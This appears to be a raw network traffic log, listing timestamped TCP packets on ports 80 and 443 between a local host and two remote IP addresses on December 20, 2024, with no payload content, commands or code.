Dec 20, 2024 04:12:38.493451118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.493463993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.493525982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.493525982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.494477987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.494537115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.494560957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.494729996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.495497942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.495573044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.495711088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.496515989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.496726990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.496753931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.497567892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.497689962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.497697115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.498589039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.498615026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.498913050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.499500036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.499620914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.499639988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.500022888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.500655890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.500765085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.500777006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.500946045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.501677990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.501794100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.501820087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.502727032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.502823114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.502851009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.503726959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.503753901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.503837109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.503967047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.504770994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.504874945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.505816936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.505841970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.505913973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.506871939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.506908894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.506916046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.507891893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.507917881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.507940054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.508244991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.508971930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.509032965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.509949923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.509977102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.510116100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.510966063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.510994911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.511001110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.511945009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.512061119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.512072086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.513036966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.513072968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.513145924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.514065027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.514091969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.514167070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.515091896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.515119076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.515182972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.515923977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.516129017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.516359091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.517173052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.517200947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.517280102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.518245935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.518271923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.518302917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.519227028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.519253969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.519335985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.519996881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.520251036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.520371914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.521303892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.521332979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.521383047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.522313118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.522341013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.522424936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.523348093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.523375988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.523490906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.524271011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.524372101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.524481058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.525403976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.525429964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.525511980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.526479959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.526508093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.526565075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.527539968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.527553082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.527566910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.528095007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.528492928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.528613091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.529557943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.529571056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.529587030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.530282974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.530313015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.530376911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.531311035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.531338930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.531418085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.531918049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.532484055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.532609940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.533314943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.533343077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.540014029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.671731949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.671758890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.672074080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.672198057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.672230005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.673129082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.673221111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.673250914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.674185038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.674312115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.674340010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.675141096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.675369978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.675400972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.676218987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.676275015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.676347017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.677231073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.677478075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.677506924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.678247929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.678441048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.678467035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.680064917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.680139065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.680140972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.680310965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.680375099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.680401087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.681355000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.681534052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.681560993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.682425976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.682533026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.682559967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.683422089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.683547020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.683574915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.684451103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.684478998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.684557915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.685489893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.685517073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.685611963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.686513901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.686542034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.686908960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.687544107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.687570095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.687573910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.688170910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.688605070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.688779116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.688925982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.689640045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.689764977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.689790964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.690644979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.690998077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.691025972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.691683054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.691790104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.691816092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.692682028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.692708969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.692871094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.693742037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.693768978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.693896055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.694785118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.694813967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.694925070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.695801973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.695828915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.695848942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.696238041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.696820974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.696914911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.697846889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.697874069 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.697956085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.698889971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.698920965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.698937893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.699927092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.699932098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.700041056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.700938940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.700974941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.701052904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.701989889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.702019930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.702033997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.703017950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.703046083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.703074932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.704040051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.704073906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.704158068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.704185009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.705064058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.705092907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.705256939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.705284119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.706195116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.706262112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.706289053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.707175970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.707298040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.707324028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.708193064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.708221912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.708369017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.709244967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.709275007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.709388018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.710242987 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.710268974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.710289955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.711257935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.711287022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.711426973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.712111950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.712296963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.712620974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.713341951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.713367939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.713437080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.714371920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.714399099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.714418888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.715410948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.715439081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.715570927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.715935946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.716466904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.716598988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.717453957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.717480898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.717557907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.718529940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.718558073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.718636990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.719634056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.719660044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.719769955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.720206022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.720566988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.720630884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.721606016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.721635103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.721663952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.722425938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.722455978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.722522020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.723372936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.723401070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.723465919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.724046946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.724133968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.724270105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.725179911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.725205898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.725234032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.727922916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.810211897 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:38.810388088 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:38.838181019 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:38.838195086 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:38.838948965 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:38.841399908 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:38.841517925 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:38.841559887 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:38.863641024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.863667011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.863775969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.863775969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.864128113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.864244938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.864931107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.864954948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.865113020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.866003990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.866027117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.866081953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.866399050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.867011070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.867150068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.867961884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.868025064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.868098021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.869076967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.869101048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.869170904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.870094061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.870150089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.870193005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.870896101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.871124983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.871232986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.871354103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.872153044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.872236967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.872298956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.873174906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.873281002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.873306990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.873792887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.874209881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.874294043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.874311924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.874377012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.875278950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.875368118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.875431061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.875710011 CET	49838	80	192.168.2.4	31.41.244.11
